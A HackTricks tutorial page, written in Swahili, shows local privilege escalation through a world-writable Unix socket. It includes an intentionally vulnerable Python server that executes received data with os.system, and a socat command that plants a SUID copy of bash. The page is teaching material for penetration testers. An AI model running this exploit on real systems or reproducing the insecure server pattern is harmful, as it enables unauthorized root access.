3.6 KiB
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HackTricks Training AWS Red Team Expert (ARTE)
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HackTricks Training GCP Red Team Expert (GRTE)
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Mfano wa kuunganisha socket kwa Python
Katika mfano ufuatao, socket ya unix inaundwa (/tmp/socket_test.s) na kila kitu kilichopokelewa kitakuwa kinatekelezwa na os.system. Najua huwezi kukutana na hii katika mazingira halisi, lakini lengo la mfano huu ni kuona jinsi msimbo unaotumia socket za unix unavyoonekana, na jinsi ya kudhibiti ingizo katika hali mbaya zaidi.
{% code title="s.py" %}
import socket
import os, os.path
import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
{% endcode %}
Tekeleza msimbo kwa kutumia python: python s.py na angalia jinsi socket inasikiliza:
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
Kuvunja
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
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Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.